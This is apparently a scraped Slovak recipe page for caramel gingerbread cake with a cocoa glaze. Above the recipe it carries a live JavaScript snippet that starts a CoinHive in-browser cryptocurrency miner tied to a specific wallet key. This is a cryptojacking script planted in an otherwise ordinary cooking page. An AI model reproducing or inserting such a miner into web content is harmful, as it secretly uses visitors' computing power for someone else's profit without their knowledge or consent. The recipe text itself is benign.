

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



5 vajec, práškový cukor – toľko, koľko váži 5 vajec, múka (Mix C) – toľko, koľko váži 5 vajec, 10dkg kryštálového cukru, 2dcl vody, 1 balíček prášok do perníka (Dr. Oetker), 1 hrst' hrozienok, 1 hrst' mletých vlašských orechov, 1–2 dcl oleja Upálime 10dkg kryštálového cukru, zalejeme 2dcl vody, necháme rozpustiť a vychladnúť.

Žĺtky vymiešame s práškovým cukrom do penista, potom pridáme vychladnutý karamel, múku zmiešanú s práškom do perníka, hrozienka, mleté vlašské orechy a olej. Nakoniec vymiešame sneh z bielkov a opatrne zamiešame do cesta. Použijeme papier na pečenie alebo plech vymastíme a vysypeme múkou. Cesto vylejeme na plech.

Predhrejeme rúru a koláč pečieme pri 150° C cca 20 minút. Poleva: 25 dkg Hera, 25 dkg kryštálový cukor, 4 PL mlieka, 2–3 PL kakao Heru, kryštálový cukor a mlieko varíme, kým sa cukor nerozpustí, pridáme kakao a spolu necháme vrieť cca 5 minút. Vylejeme na teplý, upečený perník.